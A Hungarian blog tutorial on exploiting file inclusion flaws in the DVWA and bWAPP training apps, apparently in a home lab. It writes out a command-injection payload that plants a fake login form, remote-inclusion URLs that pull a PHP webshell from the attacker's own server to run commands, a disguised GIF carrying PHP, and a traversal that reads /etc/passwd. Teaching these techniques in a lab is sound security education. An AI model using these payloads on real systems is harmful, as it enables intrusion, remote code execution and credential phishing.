Napi hackelés

Napi hackelés

LFI és RFI Local File Inclusion, Remote File Inclusion

2021. január 16. - c3llenger

Ma megint mélyebben körüljárunk egy webes témát. LFI és RFI azaz local illetve remote file inclusion.

Láttál már oldan oldalt hogy http://sebezheto.hu/?page=index.php
és kalandozva a linkek közt egy másik oldal elérhetősége http://sebezheto.hu/?page=belepes.php, a többi oldal szintén hasonló.

Azért lehet látni ilyet. Mi van emögött?
Nagyon nagyon nagyon leegyszerűsítve (php esetében):

<?php
$file = $_GET['file'];

include('mappa/'.$file);

?>

Ezt meg lehet csinálni sokkal jobban, biztonságosabban. De mi van ha nincs? Megnézzük mit lehet ilyenkor csinálni.

A fenti kis kódrészletből látszik hogy annyi történik hogy a GET paraméterrel megkapott oldalt megkeresi a "mappában" és betölti.
Ha ez sebezhető akkor lehetőségünk van többek közt:
beleolvasni fájlokba;
távoldi kódot futtatni;
parancsokat futattni;
könyvtár bejárásra, stb

Platform: Kali Linux
Célpont owasp /dvwa
Itt találunk erre a célra oldalt is: http://192.168.100.5/dvwa/vulnerabilities/fi/?page=include.php

én ezt mondom hogy nézzük meg hogy ha egy másik oldalról rakok be kódot akkor mi történik (RFI)
Itt a blogon van egy olyan bejegyzés amiben bWAPP stored blogján a textareát kicseréltük egy login formra. A kódja ennek:

<div style="position: absolute; left: 0px; top: 0px; width: 1900px; height: 1300px; z-index:1000; background-color:white; padding:1em;">
Kerjuk jelentkezz be ujra:<br><form name="login" action="">
<table><tr><td>Felhasznalonev:</td><td><input type="text" name="username"/></td></tr><tr><td>Jelszo:</td>
<td><input type="text" name="password"/></td></tr><tr>
<td colspan=2 align=center><input type="submit" value="Belepek"/></td></tr>
</table></form>


ezt OS Injection segítségével rakjuk fel kulsooldal.txt néven a bWAPP-ra
bWAPP/commandi.php =>
; echo '<div style="position: absolute; left: 0px; top: 0px; width: 1900px; height: 1300px; z-index:1000; background-color:white; padding:1em;">
Kerjuk jelentkezz be ujra:<br><form name="login" action="">
<table><tr><td>Felhasznalonev:</td><td><input type="text" name="username"/></td></tr><tr><td>Jelszo:</td>
<td><input type="text" name="password"/></td></tr><tr>
<td colspan=2 align=center><input type="submit" value="Belepek"/></td></tr>
</table></form>' > kulsooldal.txt

Ha ezt az oldalt megnyitjuk akkor a tartalmát látjuk, amit beleírtunk. Sehol semmi login form... nem is baj.

Most menjünk át a dvwa File Inclusion oldalára, amit ha megnyitunk akkor a böngészőben ezt látjuk:
dvwa/vulnerabilities/fi/?page=include.php

Az include.php helyére írjuk be a következőt:
http://192.168.100.5/bWAPP/kulsooldal.txt, azaz a teljes link amit kell nyitni:
http://192.168.100.5/dvwa/vulnerabilities/fi/?page=http://192.168.100.5/bWAPP/kulsooldal.txt

Azt látjuk hogy balfelül ott a kis login formunk, de alatta meg a dvwa oldala. Ami elég hülyén néz ki... Oldjuk meg, mert nagyon egyszerű :)

visszamegyünk bWAPP OS Injection oldalra és megint feltöltjük a kulsooldal.txt fájlt, de a végére odarajuk a html többsoros komment kezdetét <!-- Így miután lerenderelődik a login formunk, a maradék részét az oldalnak kommentnek veszi a böngésző és nem fogja megjeleníteni. Próbáljuk ki

; echo '<div style="position: absolute; left: 0px; top: 0px; width: 1900px; height: 1300px; z-index:1000; background-color:white; padding:1em;">
Kerjuk jelentkezz be ujra:<br><form name="login" action="">
<table><tr><td>Felhasznalonev:</td><td><input type="text" name="username"/></td></tr><tr><td>Jelszo:</td>
<td><input type="text" name="password"/></td></tr><tr>
<td colspan=2 align=center><input type="submit" value="Belepek"/></td></tr>
</table></form> <!--' > kulsooldal.txt

ezután nyissuk meg a dvwa File Inclusion oldalát ahogy az előbb:
http://192.168.100.5/dvwa/vulnerabilities/fi/?page=http://192.168.100.5/bWAPP/kulsooldal.txt

tökéletes!!! Betöltöttük a kulsooldal.txt tartalmát, viszont semmi mást, mindezt a dvwa/vulnerabilities/fi/?page= "alatt"

Kezdésnek nagyon jó, de nézzünk valami még izgalmasabbat ;)

Nyissatok egy terminalt majd gépeljétek be a következőt:
cd /usr/share/webshells/
ls (listázzuk a tartalmát, remélhetőleg van benne php)
cd php
ls
itt látunk ránézésre elég ütős fájlokat :)
indítsunk egy SimpleHTTPServert:
python -m SimpleHTTPServer 4444

átmegyünk a böngészőbe és a http://192.168.100.5/dvwa/vulnerabilities/fi/?page= után beírjuk a következőt:
http://192.168.100.4:4444/, azaz a teljes link
http://192.168.100.5/dvwa/vulnerabilities/fi/?page=http://192.168.100.4:4444/
láthatjuk a php mappánk tartalmát, király :)

egészítsük ki a linkünket:
http://192.168.100.5/dvwa/vulnerabilities/fi/?page=http://192.168.100.4:4444/simple-backdoor.php
kapunk egy ilyet:
Usage: http://target.com/simple-backdoor.php?cmd=cat+/etc/passwd

A kis linkünket ezután írjuk át:
http://192.168.100.5/dvwa/vulnerabilities/fi/?page=http://192.168.100.4:4444/simple-backdoor.php&cmd=ls

az eredmény pedig:
help
include.php
index.php
source

a linkünk most legyen:
http://192.168.100.5/dvwa/vulnerabilities/fi/?page=http://192.168.100.4:4444/simple-backdoor.php&cmd=ls ../../

az eredmény:
CHANGELOG.md
COPYING.txt
README.md
about.php
config
docs
dvwa
external
favicon.ico
hackable
ids_log.php
index.php
instructions.php
login.php
logout.php
php.ini
phpinfo.php
robots.txt
security.php
setup.php
vulnerabilities

és innentől a fantáziátokra bízom:
http://192.168.100.5/dvwa/vulnerabilities/fi/?page=http://192.168.100.4:4444/simple-backdoor.php&cmd=cat ../../robots.txt
azért nem rossz tudni hogy egy php oldal hogy is műdödik, mi a "kódja" ;)

LFI

Szerencsére itt dvwa-n van olyan hogy Upload.
csináljunk egy form.txt-t a gépünkön, melynek tartalma az előzőleg is használt login form, a végén a komment szekció kezdéssel

<div style="position: absolute; left: 0px; top: 0px; width: 1900px; height: 1300px; z-index:1000; background-color:white; padding:1em;">
Kerjuk jelentkezz be ujra:<br><form name="login" action="">
<table><tr><td>Felhasznalonev:</td><td><input type="text" name="username"/></td></tr><tr><td>Jelszo:</td>
<td><input type="text" name="password"/></td></tr><tr>
<td colspan=2 align=center><input type="submit" value="Belepek"/></td></tr>
</table></form><!--

menjünk a Upload oldalra (dvwa/vulnerabilities/upload/) és töltsük fel, ezt kapjuk ha kész:
../../hackable/uploads/form.txt succesfully uploaded!

akkor menjünk vissza a File Includion oldalra és írjuk át a linket:
http://192.168.100.5/dvwa/vulnerabilities/fi/?page=../../hackable/uploads/form.txt
az eredmény ugyanaz mint legutóbb, csak a mi formunk jelenik meg

ez elég egyszerű volt, most nézzünk valami cselesebbet:

csinaljunk egy filet, probagif.txt névvel:

<?php
echo 'mukodik';
$szam = 5;
$szam2 = 2;
$osszeg = $szam + $szam2;
echo $osszeg;
?>

a mappában ahol létrehoztuk ezt a fájlt nyissunk terminált majd írjuk be:
cp probagif.txt probagif.gif

ezután átmegyünk az Upload oldalra és feltöltjük a GIF-et, de akár a txt-t is.

Visszamegyünk a File Inclusion-ra és beírjuk a http://192.168.100.5/dvwa/vulnerabilities/fi/?page=.után hogy,
../../hackable/uploads/probagif.gif

és bizony balfent látjuk hogy mukodik7

ha az előző linkben a probagif.txt-t irunk be (természetesen ha feltöltöttük azt is) akkor ugyanazt a "dekorativ" eredményt kapjuk mint az előbb mukodik7  :)

És még mindig nincs vége, de ezt már nagyon egyszerűen:

nézzük meg mit dob ki a következőre:
http://192.168.100.5/dvwa/vulnerabilities/fi/?page=../../../../etc/passwd

root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/bin/sh man:x:6:12:man:/var/cache/man:/bin/sh lp:x:7:7:lp:/var/spool/lpd:/bin/sh mail:x:8:8:mail:/var/mail:/bin/sh news:x:9:9:news:/var/spool/news:/bin/sh uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh proxy:x:13:13:proxy:/bin:/bin/sh....  ..... ....  mert még van bőven

Bízom benne hogy van akinek ez hasznos lehet. Hajrááá!!!

ch3llenger






 

 

A bejegyzés trackback címe:

https://napihack.blog.hu/api/trackback/id/tr416392126

Kommentek:

A hozzászólások a vonatkozó jogszabályok  értelmében felhasználói tartalomnak minősülnek, értük a szolgáltatás technikai  üzemeltetője semmilyen felelősséget nem vállal, azokat nem ellenőrzi. Kifogás esetén forduljon a blog szerkesztőjéhez. Részletek a  Felhasználási feltételekben és az adatvédelmi tájékoztatóban.

Nincsenek hozzászólások.
süti beállítások módosítása